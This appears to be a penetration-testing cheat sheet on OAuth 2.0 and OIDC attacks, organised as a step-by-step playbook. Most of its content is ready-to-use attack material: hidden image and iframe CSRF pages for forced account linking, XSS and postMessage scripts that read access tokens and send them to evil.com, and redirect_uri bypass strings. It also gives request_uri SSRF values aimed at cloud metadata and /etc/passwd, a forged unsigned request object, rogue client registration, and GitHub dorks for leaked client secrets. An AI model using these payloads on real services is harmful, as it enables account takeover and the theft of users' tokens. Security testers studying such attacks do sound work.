A complete operational reference for OAuth 2.0 Attacks covering the authorization code flow, implicit flow, PKCE, redirect_uri manipulation, state parameter bypass, CSRF, token leakage, open redirects, scope abuse, token theft via referrer/logs, authorization code interception, PKCE downgrade, mix-up attacks, SSRF via request_uri, OAuth in SSO/OIDC flows, provider misconfiguration, and automation with tooling. Mapped to MITRE ATT&CK T1550 / T1190 / T1528.
1. Core Concepts & OAuth Flows
OAUTH 2.0 ATTACK TAXONOMY:
OAUTH 2.0 ATTACKS
├── REDIRECT-BASED ATTACKS
│ ├── redirect_uri manipulation — steal code/token by hijacking redirect target
│ ├── Open redirect chaining — bypass whitelist via open redirect on allowed domain
│ └── Fragment injection — force token into URL fragment on attacker page
│
├── CSRF / STATE ATTACKS
│ ├── Missing state parameter — force victim to authorize attacker's account link
│ ├── Predictable/static state — guess and replay to hijack auth flow
│ └── Login CSRF — force victim to log in as attacker (account takeover via link)
│
├── TOKEN / CODE THEFT
│ ├── Authorization code interception — steal code before it's exchanged
│ ├── Token leakage via Referrer header — token in URL sent in Referer to third-party
│ ├── Token leakage via logs — access/refresh tokens written to server/proxy logs
│ ├── Browser history leakage — implicit flow tokens in URL fragment cached in history
│ └── Postmessage origin confusion — token sent via postMessage without origin check
│
├── SCOPE / PRIVILEGE ATTACKS
│ ├── Scope escalation — add extra scopes to authorization request
│ ├── Scope upgrade on refresh — exchange narrow-scope token for broader one
│ └── Downscoped token abuse — use narrow token across broader-than-expected endpoints
│
├── PKCE ATTACKS
│ ├── PKCE downgrade — force server to accept request without PKCE
│ ├── code_challenge bypass — server doesn't validate verifier against challenge
│ └── Weak code_verifier — short/low-entropy verifier bruteforceable offline
│
├── PROTOCOL-LEVEL ATTACKS
│ ├── Mix-up attack — confuse client about which provider issued a code/token
│ ├── request_uri SSRF — provider fetches attacker-controlled URL as request object
│ └── JWT-secured authorization request (JAR) abuse
│
└── MISCONFIGURATION ATTACKS
├── Wildcard / loose redirect_uri matching — *.example.com or path traversal
├── Client secret leakage — secret hardcoded in JS, mobile APK, or GitHub
├── Refresh token non-expiry — persistent access after password change/logout
└── Public client acting as confidential — no PKCE, no secret = code interception
Key Terms:
- OAuth 2.0 — authorization framework (RFC 6749). Delegates access without sharing credentials. NOT authentication by itself.
- OIDC (OpenID Connect) — authentication layer on top of OAuth 2.0. Adds id_token (JWT), userinfo endpoint, and nonce.
- Authorization Server (AS) — issues tokens. Google, GitHub, Okta, Azure AD, Keycloak, etc.
- Resource Server (RS) — API that accepts access tokens. Validates with AS or locally (JWT).
- Client — the application requesting access. Confidential (has secret, server-side) or Public (no secret, SPA/mobile).
- Resource Owner — the end user who grants permissions.
- Authorization Code — short-lived one-time code returned to redirect_uri, exchanged for tokens at the token endpoint. Never touches the browser for long.
- Access Token — credential for API access. Usually short-lived (minutes–hours). Bearer: whoever holds it, uses it.
- Refresh Token — long-lived credential to get new access tokens without re-auth. High-value target.
- id_token — JWT issued by OIDC server proving user identity. Contains sub, iss, aud, exp, nonce.
- redirect_uri — URL the AS sends code/token to after authorization. MUST match registered value exactly.
- state — opaque CSRF token tied to the authorization request. Server must validate it matches on callback.
- nonce — random value embedded in id_token to prevent replay. Client must verify it matches.
- PKCE (Proof Key for Code Exchange) — RFC 7636. Public clients send code_challenge (hash of code_verifier); AS validates on token exchange. Prevents code interception.
- scope — permissions requested (openid profile email read:data write:admin). Server may grant fewer than requested.
- client_id — public identifier for the client app. NOT a secret.
- client_secret — confidential credential for the client. Must never appear in JS/mobile code.
- Bearer Token — token used as-is in Authorization: Bearer <token>. No proof of possession.
OAuth 2.0 Grant Types (Flows):
GRANT TYPE WHO USES IT TOKENS RETURNED NOTES
─────────────────────────────────────────────────────────────────────────────────────
Authorization Code Confidential clients Code → tokens Most secure; PKCE required for public
+ PKCE Public clients (SPA,mob) Code → tokens Current best practice for SPAs/mobile
Implicit Legacy SPA (deprecated) Token in fragment Token exposed in URL — AVOID
Client Credentials Machine-to-machine Access token No user involved; server-to-server
Device Code TV/IoT (no browser) Access token User confirms on second device
Resource Owner PW Legacy/trusted apps Tokens directly Password shared with client — AVOID
Authorization Code Flow — Normal:
1. User clicks "Login with X"
2. Client redirects to AS:
GET /authorize?
response_type=code
&client_id=CLIENT_ID
&redirect_uri=https://app.com/callback
&scope=openid profile email
&state=RANDOM_CSRF_TOKEN
3. AS authenticates user, user consents
4. AS redirects back:
GET https://app.com/callback?code=AUTH_CODE&state=RANDOM_CSRF_TOKEN
5. Client validates state matches stored value
6. Client exchanges code for tokens (server-side):
POST /token
grant_type=authorization_code
&code=AUTH_CODE
&redirect_uri=https://app.com/callback
&client_id=CLIENT_ID
&client_secret=SECRET (confidential client)
&code_verifier=VERIFIER (PKCE public client)
7. AS returns: { "access_token": "...", "refresh_token": "...", "id_token": "..." }
8. Client uses access_token to call resource server API
Why OAuth Gets Attacked:
ATTACK SURFACE:
→ redirect_uri is attacker-controlled if validation is loose
→ state parameter is missing, static, or not validated → CSRF
→ authorization code leaks via Referer, logs, or open redirect before exchange
→ access token in URL (implicit flow) leaks via Referer, history, XSS
→ client_secret exposed in JS bundle, APK, GitHub → attacker impersonates client
→ PKCE not enforced → code can be exchanged without verifier
→ scope parameter not validated → attacker requests admin scope
→ mix-up: client uses code issued by malicious AS with legitimate RS
2. Detection & Recon
2.1 Identifying OAuth in the Wild
# Signs of OAuth in an application:
→ "Login with Google / GitHub / Facebook / Microsoft" buttons
→ Redirects to accounts.google.com, github.com/login/oauth, login.microsoftonline.com
→ URL parameters: response_type=code, client_id=, redirect_uri=, scope=, state=
→ Callback endpoints: /callback, /oauth/callback, /auth/callback, /login/callback
→ Tokens in cookies or localStorage: access_token, refresh_token, id_token
→ Authorization: Bearer <token> in API requests (intercept with Burp)
→ /.well-known/openid-configuration — OIDC discovery document
→ /.well-known/oauth-authorization-server — OAuth 2.0 server metadata (RFC 8414)
2.2 OIDC Discovery — Extract All Endpoints
# Fetch discovery document (OIDC providers):
curl -s https://accounts.google.com/.well-known/openid-configuration | jq .
curl -s https://login.microsoftonline.com/common/v2.0/.well-known/openid-configuration | jq .
curl -s https://TARGET/.well-known/openid-configuration | jq .
# Key fields to extract:
{
"issuer": "https://as.target.com",
"authorization_endpoint": "https://as.target.com/oauth/authorize", ← fuzz here
"token_endpoint": "https://as.target.com/oauth/token", ← fuzz here
"jwks_uri": "https://as.target.com/.well-known/jwks.json", ← key confusion
"userinfo_endpoint": "https://as.target.com/userinfo",
"registration_endpoint": "https://as.target.com/connect/register", ← dynamic registration
"response_types_supported": ["code", "token", "id_token"], ← implicit still supported?
"grant_types_supported": ["authorization_code", "implicit", ...],
"scopes_supported": ["openid", "profile", "email", "admin", ...], ← enumerate scopes
"code_challenge_methods_supported": ["S256", "plain"] ← plain = weak PKCE
}
# OAuth 2.0 server metadata (non-OIDC):
curl -s https://TARGET/.well-known/oauth-authorization-server | jq .
2.3 Recon Checklist
RECON STEPS:
├── Intercept the full auth flow in Burp — capture every request/response
├── Extract: client_id, redirect_uri, scope, state, response_type from authorization request
├── Check if state is present, random, and validated on callback
├── Note the redirect_uri — try path traversal, subdomains, open redirects
├── Check response_type — try adding "token" or "id_token" (implicit leak)
├── Note all scopes — try adding privileged ones (admin, write, offline_access)
├── Check PKCE — is code_challenge present? Try removing it
├── Look for dynamic client registration endpoint — can you register your own redirect_uri?
├── Check token endpoint — can you exchange a code with a different redirect_uri?
├── Search JS bundles for client_secret, access_token, client_id
├── Check GitHub / GitLab for leaked client_secret in commit history
└── Test refresh token — does it expire? Does it get revoked on logout/password change?
2.4 Tools for Recon
# Extract JS bundle secrets:
grep -r "client_secret\|access_token\|refresh_token\|client_id" /path/to/bundle.js
# GitHub dork for leaked secrets:
# site:github.com "client_secret" "oauth"
# site:github.com "GITHUB_CLIENT_SECRET"
# Fetch all OAuth parameters from a live app (Burp Suite):
# Proxy → HTTP history → filter by "oauth" / "authorize" / "callback"
# Capture state, code, redirect_uri, scope from every request
# secretfinder — extract secrets from JS files:
python3 SecretFinder.py -i https://target.com/static/app.js -o cli
# trufflehog — scan for secrets in git repos:
trufflehog git https://github.com/target/repo --only-verified
3. OAuth Attack Decision Tree
Intercept OAuth flow in Burp
│
├── Is state parameter present in /authorize request?
│ ├── NO → CSRF attack possible (Section 5)
│ │ └── Craft malicious link, force victim to link attacker's account
│ └── YES → Is it validated on callback?
│ ├── Change state= to arbitrary value → does it still work?
│ │ ├── YES (not validated) → CSRF attack still possible
│ │ └── NO (validated) → state is solid; move on
│
├── What is the redirect_uri?
│ ├── Try appending path: redirect_uri=https://app.com/callback/../evil
│ ├── Try subdomain: redirect_uri=https://evil.app.com/callback
│ ├── Try open redirect: redirect_uri=https://app.com/logout?next=https://evil.com
│ ├── Try URL encoding: redirect_uri=https://app.com%2Fevil
│ ├── Try fragment: redirect_uri=https://app.com/callback#
│ ├── Registered? Try different path on same domain → wildcard match?
│ └── Can you register your own redirect_uri (dynamic registration)?
│ └── YES → register attacker redirect, capture auth code (Section 4)
│
├── Is PKCE used?
│ ├── Remove code_challenge / code_challenge_method → does AS still issue code?
│ │ ├── YES → PKCE not enforced, code interception possible (Section 10)
│ │ └── NO → PKCE enforced; attack token exchange instead
│ └── code_challenge_method=plain? → weak; verify if verifier brute-forceable
│
├── What scopes are requested?
│ ├── Add additional scopes (admin, write, offline_access) → do they get granted?
│ └── Does server grant more scopes than requested? → scope upgrade (Section 9)
│
├── Is response_type=code or token?
│ ├── code → try adding "token" or "id_token" → implicit flow leaks token in URL?
│ └── token (implicit) → token in fragment → Referer leak, history, XSS (Section 13)
│
├── Is there a request_uri parameter?
│ └── Try pointing to Burp Collaborator / SSRF target (Section 12)
│
├── Client secret exposed in JS / APK / GitHub?
│ └── YES → impersonate the client, exchange codes directly (Section 15)
│
└── OIDC / SSO in use?
├── Check nonce validation (Section 14)
├── Check id_token issuer / audience validation (Section 14)
└── Token substitution across SSO-connected apps (Section 14)
4. redirect_uri Manipulation
Goal: Redirect the authorization code or access token to an attacker-controlled URL.
4.1 How Validation Can Be Weak
VALIDATION FLAW EXAMPLE WORKS?
─────────────────────────────────────────────────────────────────────────────────
Exact match (secure) registered: https://app.com/callback NO
attempted: https://evil.com Blocked
Prefix match only registered: https://app.com YES
attempted: https://app.com.evil.com Matches!
Subdomain wildcard registered: *.app.com YES
attempted: https://evil.app.com Matches!
Path not validated registered: https://app.com/callback YES
attempted: https://app.com/evil Matches!
URL-encoded bypass registered: https://app.com/callback YES
attempted: https://app.com%2Fevil May match!
Fragment injection registered: https://app.com/callback YES
attempted: https://app.com/callback# Code in URL before #
Localhost confusion registered: http://localhost YES (dev keys)
attempted: http://localhost/evil
Case insensitive registered: https://App.com/Callback sometimes
attempted: https://app.com/callback
4.2 Path Traversal in redirect_uri
# Registered: https://app.com/oauth/callback
# Try traversing out of the registered path:
redirect_uri=https://app.com/oauth/callback/../
redirect_uri=https://app.com/oauth/callback/../../evil
redirect_uri=https://app.com/oauth/callback%2F..%2Fevil
redirect_uri=https://app.com/oauth/callback%2F%2E%2E%2Fevil
# If app has an open redirect at /logout:
redirect_uri=https://app.com/oauth/../logout?next=https://evil.com
# If app has file upload / user content:
redirect_uri=https://app.com/uploads/evil.html
4.3 Subdomain / Domain Confusion
# Common confused patterns:
redirect_uri=https://app.com.evil.com/callback # prefix match confusion
redirect_uri=https://evil-app.com/callback # hyphen confusion
redirect_uri=https://evilapp.com/callback # dot removed
redirect_uri=https://app.com@evil.com/callback # userinfo bypass
redirect_uri=https://evil.com/app.com/callback # path confusion
# If wildcard *.app.com registered:
redirect_uri=https://evil.app.com/callback # attacker registers subdomain
redirect_uri=https://xss.app.com/callback # XSS host
4.4 Exploit — Capture the Code
# Step 1: Set up listener on attacker server (or use Burp Collaborator):
nc -lvnp 80 # or use ngrok / Burp Collaborator
# Step 2: Craft the malicious authorization URL with manipulated redirect_uri:
https://as.target.com/oauth/authorize?
response_type=code
&client_id=CLIENT_ID
&redirect_uri=https://ATTACKER.COM/callback ← your server
&scope=openid profile email
&state=xyz
# Step 3: Trick victim into clicking the link (phishing, XSS, CSRF)
# Step 4: Victim authorizes → AS redirects to your server with:
GET /callback?code=AUTH_CODE&state=xyz ← you receive the code
# Step 5: Exchange code for tokens (you need client_secret for confidential clients):
curl -X POST https://as.target.com/oauth/token \
-d "grant_type=authorization_code" \
-d "code=AUTH_CODE" \
-d "redirect_uri=https://ATTACKER.COM/callback" \
-d "client_id=CLIENT_ID" \
-d "client_secret=SECRET" # only works if you have the secret
4.5 Dynamic Client Registration Abuse
# Some AS allow anyone to register an OAuth client:
# RFC 7591 — OAuth 2.0 Dynamic Client Registration
# Check if registration endpoint exists:
curl https://as.target.com/connect/register
# Register attacker client with arbitrary redirect_uri:
curl -X POST https://as.target.com/connect/register \
-H "Content-Type: application/json" \
-d '{
"client_name": "Evil App",
"redirect_uris": ["https://evil.com/callback"],
"grant_types": ["authorization_code"],
"response_types": ["code"],
"scope": "openid profile email admin"
}'
# Response includes your new client_id and client_secret
# Now craft authorization requests as this client — full control of redirect_uri
5. State Parameter Bypass — CSRF on OAuth
Goal: Force a victim user to link/authorize the attacker's account to the victim's application session (account takeover or forced linking).
5.1 What the State Parameter Does
NORMAL FLOW:
1. Client generates state = random_token_32bytes
2. Stores state in session: session["oauth_state"] = state
3. Sends state in /authorize request
4. AS echoes state back on callback: /callback?code=X&state=random_token_32bytes
5. Client compares: if state != session["oauth_state"] → REJECT
WITHOUT STATE (or unvalidated):
1. Attacker crafts a /authorize URL for their OWN account
2. Intercepts the callback redirect BEFORE it loads (via Burp, or drops connection)
3. Captures the callback URL: /callback?code=ATTACKER_CODE&state=...
4. Delivers this URL to the VICTIM (via iframe, img tag, XSS)
5. Victim's browser loads the callback URL → victim's session exchanges the code
6. Victim's account is now linked to ATTACKER's OAuth account
→ Attacker logs in with their OAuth account → into victim's application account
5.2 Testing State Validation
# Test 1 — Is state present?
# Intercept /authorize request → is state= in the URL?
# If absent → definitely vulnerable
# Test 2 — Is it validated?
# Complete a normal auth flow, capture callback:
GET /callback?code=CODE&state=abc123
# Replay with different state:
GET /callback?code=CODE&state=AAAAAAA
# If it works → state not validated → CSRF possible
# Test 3 — Is state predictable?
# Capture multiple states from different sessions:
state=1234 (sequential)
state=timestamp (time-based)
state=sessionid (derivable)
# Predictable → can pre-generate attacker auth URLs
# Test 4 — Drop the state entirely:
GET /callback?code=CODE
# If accepted → no state check at all
5.3 CSRF Attack — Account Takeover via Forced Linking
<!-- Attacker sets up their account, initiates auth flow, captures callback URL -->
<!-- Drops the request before it loads (intercept and don't forward) -->
<!-- Callback URL: https://app.com/callback?code=ATTACKER_CODE&state=xyz -->
<!-- Step 1: Attacker hosts a page that triggers the victim to load the callback: -->
<html>
<body>
<!-- Simple CSRF via image tag (GET request): -->
<img src="https://app.com/callback?code=ATTACKER_CODE&state=xyz" style="display:none">
<!-- Or iframe: -->
<iframe src="https://app.com/callback?code=ATTACKER_CODE&state=xyz" style="display:none"></iframe>
</body>
</html>
<!-- Step 2: Victim visits attacker's page while logged into app.com -->
<!-- Step 3: Victim's browser loads the callback URL with ATTACKER's code -->
<!-- Step 4: app.com links ATTACKER's OAuth identity to VICTIM's account -->
<!-- Step 5: Attacker logs in via OAuth → lands in victim's account -->
5.4 Login CSRF — Force Login as Attacker
Scenario: App links OAuth to existing accounts based on email from OAuth provider.
Attacker can force victim to be "logged in" as the attacker:
1. Attacker initiates OAuth flow with attacker's OAuth account
2. Captures callback URL before it's consumed
3. Sends callback URL to victim → victim's browser executes it
4. App logs victim in as attacker's account
5. Victim unknowingly performs actions on attacker's behalf (purchases, data entry, etc.)
6. Authorization Code Interception
Goal: Steal the authorization code between the AS redirect and the client's callback handler before it can be exchanged.
6.1 Code Leakage via Referrer Header
SCENARIO:
1. AS redirects: https://app.com/callback?code=AUTH_CODE&state=xyz
2. /callback page loads third-party resources (analytics, ads, fonts, CDN)
3. Browser sends: Referer: https://app.com/callback?code=AUTH_CODE&state=xyz
4. Third-party receives the code in the Referer header
5. If code is still valid (not yet exchanged or expires in seconds but race is possible):
→ Third party (or attacker who compromised third party) exchanges code
# Check for third-party resources on /callback:
# Look in Burp for requests from /callback to:
# → Google Analytics, Mixpanel, Segment, Intercom, Hotjar
# → CDN fonts, scripts from external domains
# → Any URL that receives a Referer containing "code="
6.2 Code Interception via Open Redirect (Chained)
Registered redirect_uri: https://app.com/callback
App has an open redirect at: https://app.com/go?url=https://evil.com
Attack:
1. Use redirect_uri=https://app.com/go?url=https://evil.com (if path-prefixed validation)
2. AS redirects to: https://app.com/go?url=https://evil.com?code=AUTH_CODE
3. /go open redirect → 302 to https://evil.com?code=AUTH_CODE
4. Attacker server logs the code in the query string
OR (fragment injection trick):
redirect_uri=https://app.com/callback?...#https://evil.com
→ Fragment routes to evil.com page that reads window.location
6.3 Code Interception — Race Condition
# Authorization codes are short-lived (typically 60–600 seconds)
# If code is leaked (via logs, Referer, URL history):
# Race to exchange it before the legitimate client does
# Exchange the intercepted code manually:
curl -X POST https://as.target.com/oauth/token \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "grant_type=authorization_code" \
-d "code=INTERCEPTED_CODE" \
-d "redirect_uri=https://app.com/callback" \
-d "client_id=CLIENT_ID"
# No client_secret needed if public client (SPA/mobile)
# If server doesn't detect double-exchange → code reuse vulnerability
# RFC 6749 §4.1.2: codes MUST be one-time use; double exchange = revoke ALL tokens
7. Token Leakage — Referrer, Logs & Browser History
7.1 Access Token in URL (Implicit Flow)
IMPLICIT FLOW (deprecated but common in legacy apps):
→ response_type=token → AS returns access_token in URL FRAGMENT:
https://app.com/callback#access_token=TOKEN&token_type=bearer&expires_in=3600
LEAKAGE VECTORS:
→ Fragment visible in browser history → stolen if device is shared / compromised
→ JS on the page (including third-party) can read window.location.hash
→ If page redirects after processing: fragment may be passed along
→ Server-side logging of /callback URL: fragment NOT sent to server (mitigates one path)
but some proxy/WAF configs DO log fragments → token in proxy logs
ATTACK:
1. Find an app using implicit flow (response_type=token)
2. Check if there's XSS anywhere on the /callback page or its dependencies
→ XSS + window.location.hash.split('access_token=')[1] → steal token
3. Check if the page loads cross-origin scripts before processing the fragment
→ Third-party JS reads location.hash before page clears it
7.2 Token in Referrer Header
# When response_type=code: code appears in /callback?code=X (query string)
# Browser sends it in Referer to resources loaded by /callback page
# Vulnerable pattern:
GET /callback?code=AUTH_CODE HTTP/1.1
Host: app.com
# Page loads: <img src="https://analytics.example.com/pixel.gif">
# → Browser sends: GET /pixel.gif HTTP/1.1
# Referer: https://app.com/callback?code=AUTH_CODE
# Check all requests made by /callback page in Burp:
# Proxy → HTTP History → filter by Referer containing "code=" or "token="
# Test fix: /callback should exchange code BEFORE returning any HTML with resources
# Or use Referrer-Policy: no-referrer on the callback page
7.3 Token Leakage via Server Logs
# Access tokens in Authorization headers → NOT in logs normally
# But access tokens in query strings (poor API design) → in access logs:
GET /api/data?access_token=TOKEN HTTP/1.1 ← logged by every proxy/nginx/CDN
# Check API endpoints for token-in-URL pattern:
GET /api/user?token=
GET /resource?access_token=
GET /export?auth=
# Logs to target in a pentest:
/var/log/nginx/access.log
/var/log/apache2/access.log
AWS CloudFront / ALB access logs
Splunk / ELK security logs
Burp upstream proxy logs
8. Open Redirect Chaining
Goal: Bypass redirect_uri whitelist by using an open redirect on a whitelisted domain.
8.1 Finding Open Redirects on the Client Domain
# Common open redirect patterns to probe:
https://app.com/logout?next=https://evil.com
https://app.com/redirect?url=https://evil.com
https://app.com/go?to=https://evil.com
https://app.com/exit?returnTo=https://evil.com
https://app.com/login?returnUrl=https://evil.com
https://app.com/saml/acs?RelayState=https://evil.com
# Test each with Burp Repeater — look for 302/301 to attacker domain
# Fuzz common redirect parameter names:
for param in next url redirect return returnUrl to goto target dest destination location; do
curl -sI "https://app.com/?$param=https://evil.com" | grep -i "location:"
done
8.2 Chain Open Redirect → Code Theft
1. Find open redirect on whitelisted domain:
https://app.com/logout?next=https://evil.com → 302 to https://evil.com
2. Use as redirect_uri in OAuth request:
redirect_uri=https://app.com/logout?next=https://evil.com
3. AS validates redirect_uri → domain app.com matches → ACCEPTED
4. After user authorizes, AS redirects to:
https://app.com/logout?next=https://evil.com?code=AUTH_CODE&state=xyz
5. /logout open redirect sends:
302 Location: https://evil.com?code=AUTH_CODE&state=xyz
6. Attacker server receives the code in query string → exchanges for tokens
8.3 Fragment-Based Open Redirect
Some open redirects only redirect to fragment, not full URL.
AS appends code as query string, but after the fragment marker '#':
redirect_uri=https://app.com/callback#https://evil.com
→ AS returns: https://app.com/callback#https://evil.com?code=AUTH_CODE
This can be consumed by JS on the page if there's a client-side redirect that
processes window.location.hash and navigates there.
Also: if redirect_uri validation only checks before '#':
redirect_uri=https://app.com/callback#@evil.com
→ Browsers may strip the fragment and redirect to evil.com with code
(browser-specific behavior — test in Chrome vs Firefox)
9. Scope Abuse & Privilege Escalation
9.1 Adding Undocumented Scopes
# Normal authorization request:
GET /authorize?response_type=code&client_id=CLIENT_ID
&scope=openid+profile+email
&redirect_uri=https://app.com/callback&state=xyz
# Add privileged scopes and see if they're granted:
scope=openid+profile+email+admin
scope=openid+profile+email+write:admin
scope=openid+profile+email+offline_access # get refresh token
scope=openid+profile+email+https://api.target.com/admin
scope=openid+profile+email+urn:target:scope:admin
# Check granted scopes in token response:
# Look at "scope" field in token response
# Decode access_token (if JWT) and check "scp" or "scope" claim
# Check what APIs become accessible with the wider-scope token
9.2 Scope Upgrade via Refresh Token
# Exchange refresh token and request broader scope:
curl -X POST https://as.target.com/oauth/token \
-d "grant_type=refresh_token" \
-d "refresh_token=REFRESH_TOKEN" \
-d "client_id=CLIENT_ID" \
-d "scope=openid profile email admin write" ← try adding scopes
# RFC 6749 says server MUST NOT grant more than originally authorized
# But some servers fail to enforce this → new access token with broader scope
9.3 Scope Downgrade Bypass
# Some APIs check scope on authorization but not on resource access:
# Get token with narrow scope → use it to access wider resources
# Get read-only token:
scope=read:data
# Try it against write endpoints:
curl -H "Authorization: Bearer READ_ONLY_TOKEN" \
-X POST https://api.target.com/admin/users \
-d '{"username":"attacker","role":"admin"}'
# If resource server doesn't validate scope → privilege escalation
10. PKCE Downgrade & Bypass
PKCE (Proof Key for Code Exchange) — RFC 7636:
NORMAL PKCE FLOW:
1. Client generates: code_verifier = random_string(43–128 chars, high entropy)
2. Client computes: code_challenge = base64url(SHA256(code_verifier))
3. Client sends in /authorize:
code_challenge=BASE64URL_SHA256_VERIFIER
code_challenge_method=S256
4. AS stores code_challenge alongside the code
5. Client sends code_verifier in /token exchange:
code_verifier=RANDOM_STRING
6. AS computes SHA256(code_verifier) → must match stored code_challenge
ATTACK GOAL: make AS skip the verification step
10.1 PKCE Not Enforced
# Test: send /authorize WITHOUT code_challenge — does AS still issue a code?
GET /authorize?
response_type=code
&client_id=CLIENT_ID
&redirect_uri=https://app.com/callback
&scope=openid
&state=xyz
# ← NO code_challenge or code_challenge_method
# If code is returned → PKCE not required
# Can now exchange code without code_verifier:
curl -X POST https://as.target.com/oauth/token \
-d "grant_type=authorization_code" \
-d "code=AUTH_CODE" \
-d "redirect_uri=https://app.com/callback" \
-d "client_id=CLIENT_ID"
# NO code_verifier needed
10.2 code_verifier Not Validated
# Test: send /authorize WITH code_challenge, then exchange with WRONG verifier:
# Step 1 — Normal /authorize with PKCE:
code_verifier=dBjftJeZ4CVP-mB92K27uhbUJU1p1r_wW1gFWFOEjXk
code_challenge=E9Melhoa2OwvFrEMTJguCHaoeK1t8URWbuGJSstw-cM # SHA256 of verifier
code_challenge_method=S256
# Step 2 — Exchange with WRONG verifier:
curl -X POST https://as.target.com/oauth/token \
-d "grant_type=authorization_code" \
-d "code=AUTH_CODE" \
-d "redirect_uri=https://app.com/callback" \
-d "client_id=CLIENT_ID" \
-d "code_verifier=WRONG_VERIFIER" ← wrong value
# If tokens returned → AS not validating verifier against challenge
10.3 Plain code_challenge_method
# method=plain means: code_challenge = code_verifier (no hash)
# Significantly weaker — verifier is transmitted in the code exchange
GET /authorize?...&code_challenge=PLAIN_VERIFIER&code_challenge_method=plain
# If AS accepts plain method:
# Anyone who intercepts the /token request gets the verifier (== challenge)
# They can replay the code exchange before the legitimate client
11. OAuth Mix-Up Attacks
Goal: Confuse the client into sending an authorization code or token issued by one provider to a malicious or different provider.
11.1 Classic Mix-Up
SCENARIO:
- App supports multiple OAuth providers: Provider A (legitimate) + Provider B (attacker-controlled)
- Attacker controls Provider B or intercepts traffic
ATTACK:
1. Victim initiates login with Provider A
2. Attacker intercepts or manipulates the /authorize redirect
3. Victim is redirected to Provider B (attacker's AS) instead
4. Provider B issues a code/token
5. Client receives code thinking it came from Provider A
6. Client sends code to Provider A's /token endpoint with Provider A's client_secret
7. If Provider A's /token accepts it and responds → attacker has a valid session
OR
8. Client sends code to Provider B's /token endpoint (confused about which to use)
→ Attacker's AS sees client_secret, exchanges code for session on real Provider A
MITIGATION: Client must bind callback to specific provider (via state or issuer tracking)
11.2 AS Mix-Up via Malicious Metadata
# If client fetches AS metadata dynamically based on user-provided issuer:
# e.g., "Login with any OIDC provider" → user provides issuer URL
# Attacker provides a malicious issuer that returns:
# → legitimate authorization_endpoint (sends user to real Provider A)
# → attacker's token_endpoint (client sends code + secret HERE)
# Malicious discovery document:
{
"issuer": "https://evil.com",
"authorization_endpoint": "https://accounts.google.com/o/oauth2/auth", ← real Google
"token_endpoint": "https://evil.com/token", ← attacker captures client_secret + code
"jwks_uri": "https://evil.com/jwks"
}
12. SSRF via request_uri
Goal: Make the Authorization Server fetch an attacker-controlled URL as a JWT Request Object (JAR — RFC 9101).
12.1 request_uri Parameter
# JAR (JWT-Secured Authorization Requests) allows client to pass authorization
# parameters as a JWT fetched from a URL:
GET /authorize?
client_id=CLIENT_ID
&request_uri=https://client.com/request.jwt ← AS fetches this URL
# Attacker substitutes their URL:
GET /authorize?
client_id=CLIENT_ID
&request_uri=https://ATTACKER.COM/evil.jwt ← AS fetches attacker's URL
# OR internal targets (SSRF):
&request_uri=http://169.254.169.254/latest/meta-data/ # AWS IMDS
&request_uri=http://internal-api.corp/admin
&request_uri=file:///etc/passwd # file: scheme (rare)
&request_uri=http://localhost:8080/admin
# Observe if AS makes outbound HTTP request (Burp Collaborator):
&request_uri=http://BURP_COLLABORATOR.com/
12.2 request_uri SSRF Escalation
# If AS fetches the request_uri and executes it as a JWT request object:
# Attacker serves a valid JWT Request Object with manipulated parameters:
{
"response_type": "code",
"client_id": "CLIENT_ID",
"redirect_uri": "https://evil.com/callback", ← override redirect_uri
"scope": "openid profile email admin", ← request admin scope
"state": "xyz"
}
# Sign JWT with any key if AS doesn't validate request_uri JWT signature:
python3 -c "
import jwt, json
payload = {'response_type':'code','client_id':'CLIENT_ID',
'redirect_uri':'https://evil.com/callback','scope':'openid admin'}
print(jwt.encode(payload, 'secret', algorithm='HS256'))
"
# Host on attacker server → point request_uri to it
13. Implicit Flow Token Theft
The Implicit Flow is deprecated (OAuth 2.1 removes it) but still common in legacy apps.
13.1 Token in URL Fragment
# Implicit flow response:
# AS redirects: https://app.com/callback#access_token=TOKEN&expires_in=3600
# Leakage via XSS:
<script>
var token = window.location.hash.split('access_token=')[1].split('&')[0];
fetch('https://evil.com/steal?t=' + token);
</script>
# Leakage via postMessage without origin check:
# App processes fragment and postMessages token to parent/opener:
window.opener.postMessage({token: access_token}, '*'); ← no origin restriction
# Attacker's page as opener:
window.addEventListener('message', function(e) {
fetch('https://evil.com/steal?t=' + e.data.token);
});
# Force implicit flow if server supports it:
# Change response_type=code to response_type=token
GET /authorize?response_type=token&client_id=CLIENT_ID&redirect_uri=...&scope=openid
# Or hybrid: response_type=code+token → get both in response
13.2 Token Theft via Redirect After Fragment
# If /callback page redirects (e.g. to /dashboard) and the fragment is passed:
# https://app.com/callback#access_token=TOKEN → 302 → /dashboard#access_token=TOKEN
# Some frameworks pass fragment through redirects → token now in /dashboard URL
# /dashboard may load more third-party scripts → token in their Referer
# Test: complete implicit flow, observe if token appears in Referer of subsequent requests
14. OAuth in OIDC / SSO Flows
14.1 nonce Validation Bypass
# nonce: random value sent in /authorize, embedded in id_token by AS
# Client MUST verify: id_token.nonce == session["nonce"]
# Prevents replay attacks — attacker can't reuse a valid id_token from another session
# Test 1 — Is nonce present in /authorize?
GET /authorize?...&nonce=RANDOM_VALUE
# If absent → likely not validated
# Test 2 — Replay id_token with old nonce:
# Capture a valid id_token from a previous session
# Submit it to the callback endpoint of a NEW session
# If accepted → nonce not validated → token replay possible
# Test 3 — Submit id_token with empty nonce:
# Forge id_token (if weak secret / none alg) with nonce="" or nonce absent
# If accepted → nonce check missing
14.2 id_token Issuer / Audience Bypass
# id_token claims that MUST be validated:
{
"iss": "https://accounts.google.com", ← must match expected issuer
"aud": "CLIENT_ID", ← must match our client_id
"sub": "1234567890",
"exp": 1716239022, ← must not be expired
"nonce": "abc123" ← must match session nonce
}
# Attack: Submit id_token from a DIFFERENT app's OAuth flow:
# If app doesn't check "aud" → id_token meant for another client works
# Get id_token from your own registered app (same Google tenant)
# Submit to target app's callback → logs you in if aud not validated
# Attack: Submit id_token with wrong issuer:
# Forge id_token (alg:none or weak key) with:
{ "iss": "https://evil.com", "sub": "admin@target.com", "aud": "CLIENT_ID" }
# If issuer not validated → accepted as legitimate
14.3 Token Substitution in SSO
# Multi-app SSO scenario:
# App A and App B both trust the same IdP (Identity Provider)
# Attacker gets a valid id_token/access_token from App A
# Submits it to App B's callback
# Vulnerable if App B doesn't check:
# 1. "aud" claim (audience) — token is for App A, not App B
# 2. Session binding — token not tied to App B's session
# 3. One-time use — same code/token accepted multiple times
# Test:
# 1. Complete login to App A, capture id_token
# 2. Directly POST id_token to App B's OIDC callback endpoint
